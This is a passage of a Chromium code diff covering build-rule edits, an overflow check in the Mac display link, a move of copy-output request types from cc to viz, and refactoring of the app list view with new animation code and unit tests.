-  # TODO(crbug/748113): Remove once GN has a way to specify compile-only deps.
-  executable("${target_name}__exec") {
-    forward_variables_from(invoker, [ "deps" ])
-    sources = [
-      "//tools/resources/dummy.c",
-    ]
-  }
   action(target_name) {
-    deps = [
-      ":${target_name}__exec",
-    ]
+    forward_variables_from(invoker, [ "deps" ])
     assert(is_android,
            "Resource whitelist currently implemented only on Android")
 
     script = "//tools/resources/generate_resource_whitelist.py"
 
+    inputs = [
+      invoker.input,
+    ]
+
     outputs = [
       invoker.output,
     ]
diff --git a/ui/accelerated_widget_mac/display_link_mac.cc b/ui/accelerated_widget_mac/display_link_mac.cc
index a1d5b73..f74c509 100644
--- a/ui/accelerated_widget_mac/display_link_mac.cc
+++ b/ui/accelerated_widget_mac/display_link_mac.cc
@@ -8,6 +8,7 @@
 
 #include "base/location.h"
 #include "base/logging.h"
+#include "base/numerics/safe_conversions.h"
 #include "base/single_thread_task_runner.h"
 #include "base/threading/thread_task_runner_handle.h"
 #include "base/trace_event/trace_event.h"
@@ -153,10 +154,18 @@
     return;
   }
 
-  timebase_ = base::TimeTicks::FromInternalValue(
-      cv_time.hostTime / 1000);
-  interval_ = base::TimeDelta::FromMicroseconds(
-      1000000 * static_cast<int64_t>(numerator) / denominator);
+  base::CheckedNumeric<int64_t> interval_us(base::Time::kMicrosecondsPerSecond);
+  interval_us *= numerator;
+  interval_us /= denominator;
+  if (!interval_us.IsValid()) {
+    LOG(DFATAL) << "Bailing due to overflow: "
+                << base::Time::kMicrosecondsPerSecond << " * " << numerator
+                << " / " << denominator;
+    return;
+  }
+
+  timebase_ = base::TimeTicks::FromMachAbsoluteTime(cv_time.hostTime);
+  interval_ = base::TimeDelta::FromMicroseconds(interval_us.ValueOrDie());
   timebase_and_interval_valid_ = true;
 
   // Don't restart the display link for 10 seconds.
@@ -218,4 +227,3 @@
     DisplayLinkMac::display_map_ = LAZY_INSTANCE_INITIALIZER;
 
 }  // ui
-
diff --git a/ui/android/delegated_frame_host_android.cc b/ui/android/delegated_frame_host_android.cc
index 809314aa..3736f1ccb 100644
--- a/ui/android/delegated_frame_host_android.cc
+++ b/ui/android/delegated_frame_host_android.cc
@@ -10,7 +10,7 @@
 #include "cc/layers/solid_color_layer.h"
 #include "cc/layers/surface_layer.h"
 #include "cc/output/compositor_frame.h"
-#include "cc/output/copy_output_result.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "components/viz/common/surfaces/surface_id.h"
 #include "components/viz/host/host_frame_sink_manager.h"
 #include "components/viz/service/frame_sinks/frame_sink_manager_impl.h"
@@ -42,8 +42,8 @@
 
 void CopyOutputRequestCallback(
     scoped_refptr<cc::Layer> readback_layer,
-    cc::CopyOutputRequest::CopyOutputRequestCallback result_callback,
-    std::unique_ptr<cc::CopyOutputResult> copy_output_result) {
+    viz::CopyOutputRequest::CopyOutputRequestCallback result_callback,
+    std::unique_ptr<viz::CopyOutputResult> copy_output_result) {
   readback_layer->RemoveFromParent();
   std::move(result_callback).Run(std::move(copy_output_result));
 }
@@ -114,7 +114,7 @@
 void DelegatedFrameHostAndroid::RequestCopyOfSurface(
     WindowAndroidCompositor* compositor,
     const gfx::Rect& src_subrect_in_pixel,
-    cc::CopyOutputRequest::CopyOutputRequestCallback result_callback) {
+    viz::CopyOutputRequest::CopyOutputRequestCallback result_callback) {
   DCHECK(surface_info_.is_valid());
   DCHECK(!result_callback.is_null());
 
@@ -123,8 +123,8 @@
                          !has_transparent_background_);
   readback_layer->SetHideLayerAndSubtree(true);
   compositor->AttachLayerForReadback(readback_layer);
-  std::unique_ptr<cc::CopyOutputRequest> copy_output_request =
-      cc::CopyOutputRequest::CreateRequest(
+  std::unique_ptr<viz::CopyOutputRequest> copy_output_request =
+      viz::CopyOutputRequest::CreateRequest(
           base::BindOnce(&CopyOutputRequestCallback, readback_layer,
                          std::move(result_callback)));
 
diff --git a/ui/android/delegated_frame_host_android.h b/ui/android/delegated_frame_host_android.h
index 46a89a0..68090e4 100644
--- a/ui/android/delegated_frame_host_android.h
+++ b/ui/android/delegated_frame_host_android.h
@@ -7,8 +7,8 @@
 
 #include "base/macros.h"
 #include "base/memory/ref_counted.h"
-#include "cc/output/copy_output_request.h"
 #include "cc/resources/returned_resource.h"
+#include "components/viz/common/quads/copy_output_request.h"
 #include "components/viz/common/surfaces/surface_info.h"
 #include "components/viz/service/frame_sinks/compositor_frame_sink_support.h"
 #include "components/viz/service/frame_sinks/compositor_frame_sink_support_client.h"
@@ -65,7 +65,7 @@
   void RequestCopyOfSurface(
       WindowAndroidCompositor* compositor,
       const gfx::Rect& src_subrect_in_pixel,
-      cc::CopyOutputRequest::CopyOutputRequestCallback result_callback);
+      viz::CopyOutputRequest::CopyOutputRequestCallback result_callback);
 
   void CompositorFrameSinkChanged();
 
diff --git a/ui/android/window_android.cc b/ui/android/window_android.cc
index f12dad5..843c4bd8 100644
--- a/ui/android/window_android.cc
+++ b/ui/android/window_android.cc
@@ -217,7 +217,14 @@
                             const JavaParamRef<jobject>& obj,
                             jlong time_micros,
                             jlong period_micros) {
-  base::TimeTicks frame_time(base::TimeTicks::FromInternalValue(time_micros));
+  // Warning: It is generally unsafe to manufacture TimeTicks values. The
+  // following assumption is being made, AND COULD EASILY BREAK AT ANY TIME:
+  // Upstream, Java code is providing "System.nanos() / 1000," and this is the
+  // same timestamp that would be provided by the CLOCK_MONOTONIC POSIX clock.
+  DCHECK_EQ(base::TimeTicks::GetClock(),
+            base::TimeTicks::Clock::LINUX_CLOCK_MONOTONIC);
+  base::TimeTicks frame_time =
+      base::TimeTicks() + base::TimeDelta::FromMicroseconds(time_micros);
   base::TimeDelta vsync_period(
       base::TimeDelta::FromMicroseconds(period_micros));
 
diff --git a/ui/android/window_android_compositor.h b/ui/android/window_android_compositor.h
index 00f88e3..33967bff 100644
--- a/ui/android/window_android_compositor.h
+++ b/ui/android/window_android_compositor.h
@@ -7,7 +7,7 @@
 
 #include <memory>
 
-#include "cc/output/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_request.h"
 #include "components/viz/common/surfaces/frame_sink_id.h"
 #include "ui/android/ui_android_export.h"
 
@@ -26,7 +26,7 @@
 
   virtual void AttachLayerForReadback(scoped_refptr<cc::Layer> layer) = 0;
   virtual void RequestCopyOfOutputOnRootLayer(
-      std::unique_ptr<cc::CopyOutputRequest> request) = 0;
+      std::unique_ptr<viz::CopyOutputRequest> request) = 0;
   virtual void SetNeedsAnimate() = 0;
   virtual ResourceManager& GetResourceManager() = 0;
   virtual viz::FrameSinkId GetFrameSinkId() = 0;
diff --git a/ui/app_list/BUILD.gn b/ui/app_list/BUILD.gn
index 6b9d2dd..75b61ee6f 100644
--- a/ui/app_list/BUILD.gn
+++ b/ui/app_list/BUILD.gn
@@ -90,6 +90,7 @@
     "//ui/events",
     "//ui/gfx",
     "//ui/gfx/geometry",
+    "//ui/keyboard/",
     "//ui/resources",
     "//ui/strings",
   ]
diff --git a/ui/app_list/DEPS b/ui/app_list/DEPS
index 61a5e23..e09e012 100644
--- a/ui/app_list/DEPS
+++ b/ui/app_list/DEPS
@@ -13,6 +13,7 @@
   "+ui/compositor",
   "+ui/events",
   "+ui/gfx",
+  "+ui/keyboard",
   "+ui/resources/grit/ui_resources.h",
   "+ui/strings/grit/ui_strings.h",
   "+ui/views",
diff --git a/ui/app_list/demo/app_list_demo_views.cc b/ui/app_list/demo/app_list_demo_views.cc
index bec19fb..be1de94 100644
--- a/ui/app_list/demo/app_list_demo_views.cc
+++ b/ui/app_list/demo/app_list_demo_views.cc
@@ -84,7 +84,7 @@
 void DemoAppListViewDelegate::ViewClosing() {
   base::MessageLoop* message_loop = base::MessageLoopForUI::current();
   message_loop->task_runner()->DeleteSoon(FROM_HERE, this);
-  message_loop->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 views::View* DemoAppListViewDelegate::CreateStartPageWebView(
diff --git a/ui/app_list/pagination_model_unittest.cc b/ui/app_list/pagination_model_unittest.cc
index ec260e2..dab08db1 100644
--- a/ui/app_list/pagination_model_unittest.cc
+++ b/ui/app_list/pagination_model_unittest.cc
@@ -8,7 +8,6 @@
 
 #include "base/compiler_specific.h"
 #include "base/macros.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/strings/string_number_conversions.h"
 #include "base/test/scoped_task_environment.h"
@@ -69,7 +68,7 @@
     ++selection_count_;
     if (expected_page_selection_ &&
         selection_count_ == expected_page_selection_) {
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
     }
   }
 
@@ -88,7 +87,7 @@
          transition_start_count_ == expected_transition_start_) ||
         (expected_transition_end_ &&
          transition_end_count_ == expected_transition_end_)) {
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
     }
   }
 
diff --git a/ui/app_list/search/history_data_store.cc b/ui/app_list/search/history_data_store.cc
index 0f4a3152..28b584e3 100644
--- a/ui/app_list/search/history_data_store.cc
+++ b/ui/app_list/search/history_data_store.cc
@@ -100,10 +100,11 @@
     association_data.primary = primary;
     association_data.secondary.swap(secondary);
 
+    // Parse time as microseconds since Windows epoch (year 1601).
     int64_t update_time_val;
     base::StringToInt64(update_time_string, &update_time_val);
     association_data.update_time =
-        base::Time::FromInternalValue(update_time_val);
+        base::Time() + base::TimeDelta::FromMicroseconds(update_time_val);
   }
 
   return data;
@@ -173,8 +174,10 @@
 void HistoryDataStore::SetUpdateTime(const std::string& query,
                                      const base::Time& update_time) {
   base::DictionaryValue* entry_dict = GetEntryDict(query);
+  // Persist time as microseconds since Windows epoch (year 1601).
+  const int64_t update_time_val = update_time.since_origin().InMicroseconds();
   entry_dict->SetStringWithoutPathExpansion(
-      kKeyUpdateTime, base::Int64ToString(update_time.ToInternalValue()));
+      kKeyUpdateTime, base::Int64ToString(update_time_val));
   if (data_store_.get())
     data_store_->ScheduleWrite();
 }
diff --git a/ui/app_list/search_box_model.cc b/ui/app_list/search_box_model.cc
index 790d9fab..7527cfa 100644
--- a/ui/app_list/search_box_model.cc
+++ b/ui/app_list/search_box_model.cc
@@ -7,6 +7,7 @@
 #include <utility>
 
 #include "base/metrics/histogram_macros.h"
+#include "ui/app_list/app_list_features.h"
 #include "ui/app_list/search_box_model_observer.h"
 
 namespace app_list {
@@ -34,6 +35,8 @@
 
 void SearchBoxModel::SetSpeechRecognitionButton(
     std::unique_ptr<SearchBoxModel::SpeechButtonProperty> speech_button) {
+  if (features::IsFullscreenAppListEnabled())
+    return;
   speech_button_ = std::move(speech_button);
   for (auto& observer : observers_)
     observer.SpeechRecognitionButtonPropChanged();
diff --git a/ui/app_list/views/app_list_view.cc b/ui/app_list/views/app_list_view.cc
index 7e2a65b..9fc4328 100644
--- a/ui/app_list/views/app_list_view.cc
+++ b/ui/app_list/views/app_list_view.cc
@@ -30,6 +30,7 @@
 #include "ui/base/ui_base_switches.h"
 #include "ui/compositor/layer.h"
 #include "ui/compositor/layer_animation_observer.h"
+#include "ui/compositor/layer_animation_sequence.h"
 #include "ui/compositor/scoped_layer_animation_settings.h"
 #include "ui/display/display.h"
 #include "ui/display/screen.h"
@@ -84,6 +85,9 @@
 // The vertical position for the appearing animation of the speech UI.
 constexpr float kSpeechUIAppearingPosition = 12;
 
+// The animation duration for app list movement.
+constexpr float kAppListAnimationDurationMs = 300;
+
 // This view forwards the focus to the search box widget by providing it as a
 // FocusTraversable when a focus search is provided.
 class SearchBoxFocusHost : public views::View {
@@ -331,13 +335,6 @@
       ShouldDescendIntoChildForEventHandling(child, location);
 }
 
-PaginationModel* AppListView::GetAppsPaginationModel() {
-  return app_list_main_view_->contents_view()
-      ->apps_container_view()
-      ->apps_grid_view()
-      ->pagination_model();
-}
-
 void AppListView::InitContents(gfx::NativeView parent, int initial_apps_page) {
   // TODO(vadimt): Remove ScopedTracker below once crbug.com/440224 and
   // crbug.com/441028 are fixed.
@@ -372,7 +369,9 @@
       FROM_HERE_WITH_EXPLICIT_FUNCTION(
           "440224, 441028 AppListView::InitContents1"));
 
-  app_list_main_view_->Init(parent, initial_apps_page, search_box_view_);
+  app_list_main_view_->Init(
+      parent, is_fullscreen_app_list_enabled_ ? 0 : initial_apps_page,
+      search_box_view_);
 
   // TODO(vadimt): Remove ScopedTracker below once crbug.com/440224 and
   // crbug.com/441028 are fixed.
@@ -423,14 +422,14 @@
 
 void AppListView::InitializeFullscreen(gfx::NativeView parent,
                                        int initial_apps_page) {
-  gfx::Rect display_work_area_bounds =
-      display::Screen::GetScreen()
-          ->GetDisplayNearestView(parent_window())
-          .work_area();
+  const display::Display display_nearest_view = GetDisplayNearestView();
+  const gfx::Rect display_work_area_bounds = display_nearest_view.work_area();
+  const int bottom_of_screen = display_nearest_view.size().height();
 
   gfx::Rect app_list_overlay_view_bounds(
       display_work_area_bounds.x(),
-      display_work_area_bounds.height() + kShelfSize - kPeekingAppListHeight,
+      bottom_of_screen,  // Set the widget at the bottom of the screen so it can
+                         // animate up when shown.
       display_work_area_bounds.width(),
       display_work_area_bounds.height() + kShelfSize);
 
@@ -470,21 +469,15 @@
 }
 
 void AppListView::HandleClickOrTap() {
-  switch (app_list_state_) {
-    case HALF:
-    case FULLSCREEN_SEARCH:
-      search_box_view_->ClearSearch();
-      break;
-    case PEEKING:
-    case FULLSCREEN_ALL_APPS:
-      if (search_box_view_->is_search_box_active())
-        search_box_view_->ClearSearch();
-      else
-        SetState(CLOSED);
-      break;
-    case CLOSED:
-      break;
+  if (!is_fullscreen_app_list_enabled_)
+    return;
+
+  if (!search_box_view_->is_search_box_active()) {
+    SetState(CLOSED);
+    return;
   }
+
+  search_box_view_->ClearSearch();
 }
 
 void AppListView::StartDrag(const gfx::Point& location) {
@@ -503,21 +496,14 @@
   SetYPosition(new_y_position);
 }
 
-void AppListView::SetYPosition(int y_position_in_screen) {
-  gfx::Rect new_widget_bounds = fullscreen_widget_->GetWindowBoundsInScreen();
-  new_widget_bounds.set_y(std::max(y_position_in_screen, 0));
-  fullscreen_widget_->SetBounds(new_widget_bounds);
-}
-
 void AppListView::EndDrag(const gfx::Point& location) {
   // When the SearchBoxView closes the app list, ignore the final event.
   if (app_list_state_ == CLOSED)
     return;
+
   // Change the app list state based on where the drag ended. If fling velocity
   // was over the threshold, snap to the next state in the direction of the
   // fling.
-  int const new_y_position = location.y() - initial_drag_point_.y() +
-                             fullscreen_widget_->GetWindowBoundsInScreen().y();
   if (std::abs(last_fling_velocity_) >= kAppListDragVelocityThreshold) {
     // If the user releases drag with velocity over the threshold, snap to
     // the next state, ignoring the drag release position.
@@ -554,10 +540,7 @@
       }
     }
   } else {
-    int display_height = display::Screen::GetScreen()
-                             ->GetDisplayNearestView(parent_window())
-                             .size()
-                             .height();
+    const int display_height = GetDisplayNearestView().size().height();
     int app_list_y_for_state = 0;
     int app_list_height = 0;
     switch (app_list_state_) {
@@ -579,10 +562,13 @@
         break;
     }
 
-    int app_list_threshold = app_list_height / kAppListThresholdDenominator;
-    int drag_delta = app_list_y_for_state - new_y_position;
     gfx::Point location_in_screen_coordinates = location;
     ConvertPointToScreen(this, &location_in_screen_coordinates);
+    const int new_y_position =
+        location_in_screen_coordinates.y() - initial_drag_point_.y();
+    const int app_list_threshold =
+        app_list_height / kAppListThresholdDenominator;
+    const int drag_delta = app_list_y_for_state - new_y_position;
     switch (app_list_state_) {
       case FULLSCREEN_ALL_APPS:
         if (std::abs(drag_delta) > app_list_threshold)
@@ -625,65 +611,8 @@
   }
 }
 
-void AppListView::SetStateFromSearchBoxView(bool search_box_is_empty) {
-  switch (app_list_state_) {
-    case PEEKING:
-      if (!search_box_is_empty)
-        SetState(HALF);
-      break;
-    case HALF:
-      if (search_box_is_empty)
-        SetState(PEEKING);
-      break;
-    case FULLSCREEN_SEARCH:
-      if (search_box_is_empty) {
-        SetState(FULLSCREEN_ALL_APPS);
-        app_list_main_view()->contents_view()->SetActiveState(
-            AppListModel::State::STATE_APPS);
-      }
-      break;
-    case FULLSCREEN_ALL_APPS:
-      if (!search_box_is_empty)
-        SetState(FULLSCREEN_SEARCH);
-      break;
-    case CLOSED:
-      NOTREACHED();
-      break;
-  }
-}
-
-void AppListView::OnTabletModeChanged(bool started) {
-  is_tablet_mode_ = started;
-  if (is_tablet_mode_ && !is_fullscreen()) {
-    // Set |app_list_state_| to a tablet mode friendly state.
-    SetState(app_list_state_ == PEEKING ? FULLSCREEN_ALL_APPS
-                                        : FULLSCREEN_SEARCH);
-  }
-}
-
-bool AppListView::HandleScroll(const ui::Event* event) {
-  if (app_list_state_ != PEEKING)
-    return false;
-
-  switch (event->type()) {
-    case ui::ET_MOUSEWHEEL:
-      SetState(event->AsMouseWheelEvent()->y_offset() < 0 ? FULLSCREEN_ALL_APPS
-                                                          : CLOSED);
-      return true;
-    case ui::ET_SCROLL:
-    case ui::ET_SCROLL_FLING_START: {
-      if (fabs(event->AsScrollEvent()->y_offset()) >
-          kAppListMinScrollToSwitchStates) {
-        SetState(event->AsScrollEvent()->y_offset() < 0 ? FULLSCREEN_ALL_APPS
-                                                        : CLOSED);
-        return true;
-      }
-      break;
-    }
-    default:
-      break;
-  }
-  return false;
+display::Display AppListView::GetDisplayNearestView() const {
+  return display::Screen::GetScreen()->GetDisplayNearestView(parent_window());
 }
 
 void AppListView::OnBeforeBubbleWidgetInit(views::Widget::InitParams* params,
@@ -791,6 +720,23 @@
   }
 }
 
+void AppListView::OnWidgetDestroying(views::Widget* widget) {
+  BubbleDialogDelegateView::OnWidgetDestroying(widget);
+  if (delegate_ && widget == GetWidget())
+    delegate_->ViewClosing();
+}
+
+void AppListView::OnWidgetVisibilityChanged(views::Widget* widget,
+                                            bool visible) {
+  BubbleDialogDelegateView::OnWidgetVisibilityChanged(widget, visible);
+
+  if (widget != GetWidget())
+    return;
+
+  if (!visible)
+    app_list_main_view_->ResetForShow();
+}
+
 bool AppListView::AcceleratorPressed(const ui::Accelerator& accelerator) {
   DCHECK_EQ(ui::VKEY_ESCAPE, accelerator.key_code());
 
@@ -847,6 +793,41 @@
     GetBubbleFrameView()->SchedulePaint();
 }
 
+void AppListView::OnTabletModeChanged(bool started) {
+  is_tablet_mode_ = started;
+  search_box_view_->OnTabletModeChanged(started);
+  if (is_tablet_mode_ && !is_fullscreen()) {
+    // Set |app_list_state_| to a tablet mode friendly state.
+    SetState(app_list_state_ == PEEKING ? FULLSCREEN_ALL_APPS
+                                        : FULLSCREEN_SEARCH);
+  }
+}
+
+bool AppListView::HandleScroll(const ui::Event* event) {
+  if (app_list_state_ != PEEKING)
+    return false;
+
+  switch (event->type()) {
+    case ui::ET_MOUSEWHEEL:
+      SetState(event->AsMouseWheelEvent()->y_offset() < 0 ? FULLSCREEN_ALL_APPS
+                                                          : CLOSED);
+      return true;
+    case ui::ET_SCROLL:
+    case ui::ET_SCROLL_FLING_START: {
+      if (fabs(event->AsScrollEvent()->y_offset()) >
+          kAppListMinScrollToSwitchStates) {
+        SetState(event->AsScrollEvent()->y_offset() < 0 ? FULLSCREEN_ALL_APPS
+                                                        : CLOSED);
+        return true;
+      }
+      break;
+    }
+    default:
+      break;
+  }
+  return false;
+}
+
 void AppListView::SetState(AppListState new_state) {
   AppListState new_state_override = new_state;
   if (is_side_shelf_ || is_tablet_mode_) {
@@ -861,20 +842,17 @@
     }
   }
 
-  gfx::Rect new_widget_bounds = fullscreen_widget_->GetWindowBoundsInScreen();
-  int display_height = display::Screen::GetScreen()
-                           ->GetDisplayNearestView(parent_window())
-                           .size()
-                           .height();
-
   switch (new_state_override) {
     case PEEKING: {
       switch (app_list_state_) {
         case HALF:
         case FULLSCREEN_ALL_APPS:
+          StartAnimationForState(new_state_override);
+          app_list_main_view_->contents_view()->SetActiveState(
+              AppListModel::STATE_START);
+          break;
         case PEEKING: {
-          int peeking_app_list_y = display_height - kPeekingAppListHeight;
-          new_widget_bounds.set_y(peeking_app_list_y);
+          StartAnimationForState(new_state_override);
           app_list_main_view_->contents_view()->SetActiveState(
               AppListModel::STATE_START);
           break;
@@ -890,8 +868,7 @@
       switch (app_list_state_) {
         case PEEKING:
         case HALF: {
-          int half_app_list_y = display_height - kHalfAppListHeight;
-          new_widget_bounds.set_y(half_app_list_y);
+          StartAnimationForState(new_state_override);
           break;
         }
         case FULLSCREEN_SEARCH:
@@ -902,7 +879,7 @@
       }
       break;
     case FULLSCREEN_ALL_APPS: {
-      new_widget_bounds.set_y(0);
+      StartAnimationForState(new_state_override);
       AppsContainerView* apps_container_view =
           app_list_main_view_->contents_view()->apps_container_view();
 
@@ -914,32 +891,85 @@
       break;
     }
     case FULLSCREEN_SEARCH:
-      new_widget_bounds.set_y(0);
+      StartAnimationForState(new_state_override);
       break;
     case CLOSED:
       app_list_main_view_->Close();
       delegate_->Dismiss();
       break;
   }
-  fullscreen_widget_->SetBounds(new_widget_bounds);
   app_list_state_ = new_state_override;
 }
 
-void AppListView::OnWidgetDestroying(views::Widget* widget) {
-  BubbleDialogDelegateView::OnWidgetDestroying(widget);
-  if (delegate_ && widget == GetWidget())
-    delegate_->ViewClosing();
+void AppListView::StartAnimationForState(AppListState target_state) {
+  const int display_height = GetDisplayNearestView().size().height();
+  int target_state_y = 0;
+
+  switch (target_state) {
+    case PEEKING:
+      target_state_y = display_height - kPeekingAppListHeight;
+      break;
+    case HALF:
+      target_state_y = display_height - kHalfAppListHeight;
+      break;
+    default:
+      break;
+  }
+
+  gfx::Rect target_bounds = fullscreen_widget_->GetWindowBoundsInScreen();
+  target_bounds.set_y(target_state_y);
+
+  std::unique_ptr<ui::LayerAnimationElement> animation_element =
+      ui::LayerAnimationElement::CreateBoundsElement(
+          target_bounds,
+          base::TimeDelta::FromMilliseconds(kAppListAnimationDurationMs));
+  animation_element->set_tween_type(gfx::Tween::EASE_OUT);
+
+  ui::LayerAnimator* animator = fullscreen_widget_->GetLayer()->GetAnimator();
+  animator->set_preemption_strategy(
+      ui::LayerAnimator::IMMEDIATELY_ANIMATE_TO_NEW_TARGET);
+  animator->ScheduleAnimation(
+      new ui::LayerAnimationSequence(std::move(animation_element)));
 }
 
-void AppListView::OnWidgetVisibilityChanged(views::Widget* widget,
-                                            bool visible) {
-  BubbleDialogDelegateView::OnWidgetVisibilityChanged(widget, visible);
+void AppListView::SetStateFromSearchBoxView(bool search_box_is_empty) {
+  switch (app_list_state_) {
+    case PEEKING:
+      if (!search_box_is_empty)
+        SetState(HALF);
+      break;
+    case HALF:
+      if (search_box_is_empty)
+        SetState(PEEKING);
+      break;
+    case FULLSCREEN_SEARCH:
+      if (search_box_is_empty) {
+        SetState(FULLSCREEN_ALL_APPS);
+        app_list_main_view()->contents_view()->SetActiveState(
+            AppListModel::State::STATE_APPS);
+      }
+      break;
+    case FULLSCREEN_ALL_APPS:
+      if (!search_box_is_empty)
+        SetState(FULLSCREEN_SEARCH);
+      break;
+    case CLOSED:
+      NOTREACHED();
+      break;
+  }
+}
 
-  if (widget != GetWidget())
-    return;
+void AppListView::SetYPosition(int y_position_in_screen) {
+  gfx::Rect new_widget_bounds = fullscreen_widget_->GetWindowBoundsInScreen();
+  new_widget_bounds.set_y(std::max(y_position_in_screen, 0));
+  fullscreen_widget_->SetBounds(new_widget_bounds);
+}
 
-  if (!visible)
-    app_list_main_view_->ResetForShow();
+PaginationModel* AppListView::GetAppsPaginationModel() {
+  return app_list_main_view_->contents_view()
+      ->apps_container_view()
+      ->apps_grid_view()
+      ->pagination_model();
 }
 
 void AppListView::OnSpeechRecognitionStateChanged(
@@ -1001,10 +1031,11 @@
     speech_view_->SetVisible(true);
   } else {
     app_list_main_view_->SetVisible(true);
-    // Refocus the search box. However, if the app list widget does not have
-    // focus, it means another window has already taken focus, and we *must
-    // not* focus the search box (or we would steal focus back into the app
-    // list).
+
+    // Refocus the search box. However, if the app list widget does not
+    // have focus, it means another window has already taken focus, and we
+    // *must not* focus the search box (or we would steal focus back into
+    // the app list).
     if (GetWidget()->IsActive())
       search_box_view_->search_box()->RequestFocus();
   }
@@ -1016,14 +1047,12 @@
     return;
 
   // Set the |fullscreen_widget_| size to fit the new display metrics.
-  gfx::Size size = display::Screen::GetScreen()
-                       ->GetDisplayNearestView(parent_window())
-                       .work_area()
-                       .size();
+  gfx::Size size = GetDisplayNearestView().work_area().size();
   size.Enlarge(0, kShelfSize);
   fullscreen_widget_->SetSize(size);
 
-  // Update the |fullscreen_widget_| bounds to accomodate the new work area.
+  // Update the |fullscreen_widget_| bounds to accomodate the new work
+  // area.
   SetState(app_list_state_);
 }
 
diff --git a/ui/app_list/views/app_list_view.h b/ui/app_list/views/app_list_view.h
index 09c62265..bf01a60 100644
--- a/ui/app_list/views/app_list_view.h
+++ b/ui/app_list/views/app_list_view.h
@@ -110,9 +110,19 @@
   void Layout() override;
   void SchedulePaintInRect(const gfx::Rect& rect) override;
 
+  // Called when tablet mode starts and ends.
+  void OnTabletModeChanged(bool started);
+
+  // Changes |app_list_state_| from |PEEKING| to |FULLSCREEN_ALL_APPS|.
+  bool HandleScroll(const ui::Event* event);
+
   // Changes the app list state.
   void SetState(AppListState new_state);
 
+  // Kicks off the proper animation for the state change. If an animation is
+  // in progress it will be interrupted.
+  void StartAnimationForState(AppListState new_state);
+
   // Changes the app list state depending on the current |app_list_state_| and
   // whether the search box is empty.
   void SetStateFromSearchBoxView(bool search_box_is_empty);
@@ -120,25 +130,27 @@
   // Sets y position of the app list bounds to |y_position_in_screen|.
   void SetYPosition(int y_position_in_screen);
 
-  // Called when tablet mode starts and ends.
-  void OnTabletModeChanged(bool started);
+  // Gets the PaginationModel owned by this view's apps grid.
+  PaginationModel* GetAppsPaginationModel();
 
-  // Changes |app_list_state_| from |PEEKING| to |FULLSCREEN_ALL_APPS|.
-  bool HandleScroll(const ui::Event* event);
+  views::Widget* get_fullscreen_widget_for_test() const {
+    return fullscreen_widget_;
+  }
+
+  AppListState app_list_state() const { return app_list_state_; }
+
+  views::Widget* search_box_widget() const { return search_box_widget_; }
+
+  SearchBoxView* search_box_view() { return search_box_view_; }
+
+  AppListMainView* app_list_main_view() { return app_list_main_view_; }
 
   bool is_fullscreen() const {
     return app_list_state_ == FULLSCREEN_ALL_APPS ||
            app_list_state_ == FULLSCREEN_SEARCH;
   }
-  AppListState app_list_state() const { return app_list_state_; }
-  // Gets the PaginationModel owned by this view's apps grid.
-  PaginationModel* GetAppsPaginationModel();
-  AppListMainView* app_list_main_view() const { return app_list_main_view_; }
-  views::Widget* search_box_widget() const { return search_box_widget_; }
-  SearchBoxView* search_box_view() const { return search_box_view_; }
-  views::Widget* get_fullscreen_widget_for_test() const {
-    return fullscreen_widget_;
-  }
+
+  bool is_tablet_mode() const { return is_tablet_mode_; }
 
  private:
   friend class test::AppListViewTestApi;
@@ -168,6 +180,9 @@
   // release position and snap to the next state.
   void EndDrag(const gfx::Point& location);
 
+  // Gets the display nearest to the parent window.
+  display::Display GetDisplayNearestView() const;
+
   // Overridden from views::BubbleDialogDelegateView:
   void OnBeforeBubbleWidgetInit(views::Widget::InitParams* params,
                                 views::Widget* widget) const override;
@@ -222,7 +237,6 @@
   bool processing_scroll_event_series_;
   // The state of the app list, controlled via SetState().
   AppListState app_list_state_;
-
   // An observer that notifies AppListView when the display has changed.
   ScopedObserver<display::Screen, display::DisplayObserver> display_observer_;
 
diff --git a/ui/app_list/views/app_list_view_unittest.cc b/ui/app_list/views/app_list_view_unittest.cc
index 7d76a5f..924f120 100644
--- a/ui/app_list/views/app_list_view_unittest.cc
+++ b/ui/app_list/views/app_list_view_unittest.cc
@@ -358,6 +358,35 @@
   ASSERT_EQ(view_->app_list_state(), AppListView::FULLSCREEN_ALL_APPS);
 }
 
+// Tests that in fullscreen, the app list has multiple pages with enough apps.
+TEST_F(AppListViewFullscreenTest, PopulateAppsCreatesAnotherPage) {
+  Initialize(0, false, false);
+  delegate_->GetTestModel()->PopulateApps(kInitialItems);
+
+  Show();
+
+  ASSERT_EQ(GetPaginationModel()->total_pages(), 2);
+}
+
+// Tests that even if initialize is called again with a different initial page,
+// that for fullscreen we always select the first page.
+TEST_F(AppListViewFullscreenTest, MultiplePagesAlwaysReinitializeOnFirstPage) {
+  Initialize(0, false, false);
+  delegate_->GetTestModel()->PopulateApps(kInitialItems);
+
+  // Show and close the widget once.
+  Show();
+  view_->GetWidget()->Close();
+  // Set it up again with a nonzero initial page.
+  view_ = new AppListView(delegate_.get());
+  view_->Initialize(GetContext(), 1, false, false);
+  const gfx::Size size = view_->bounds().size();
+  view_->MaybeSetAnchorPoint(gfx::Point(size.width() / 2, size.height() / 2));
+  Show();
+
+  ASSERT_EQ(view_->GetAppsPaginationModel()->selected_page(), 0);
+}
+
 // Tests the focus change in search box view and start page view triggered by
 // tab key .
 TEST_F(AppListViewFullscreenTest, StartPageTabFocusTest) {
@@ -698,5 +727,23 @@
             view_->GetWidget()->GetFocusManager()->GetFocusedView());
 }
 
+// Tests that even if initialize is called again with a different initial page,
+// that different initial page is respected.
+TEST_F(AppListViewTest, MultiplePagesReinitializeOnInputPage) {
+  delegate_->GetTestModel()->PopulateApps(kInitialItems);
+
+  // Show and close the widget once.
+  Show();
+  view_->GetWidget()->Close();
+  // Set it up again with a nonzero initial page.
+  view_ = new AppListView(delegate_.get());
+  view_->Initialize(GetContext(), 1, false, false);
+  const gfx::Size size = view_->bounds().size();
+  view_->MaybeSetAnchorPoint(gfx::Point(size.width() / 2, size.height() / 2));
+  Show();
+
+  ASSERT_EQ(view_->GetAppsPaginationModel()->selected_page(), 1);
+}
+
 }  // namespace test
 }  // namespace app_list
diff --git a/ui/app_list/views/apps_grid_view.cc b/ui/app_list/views/apps_grid_view.cc
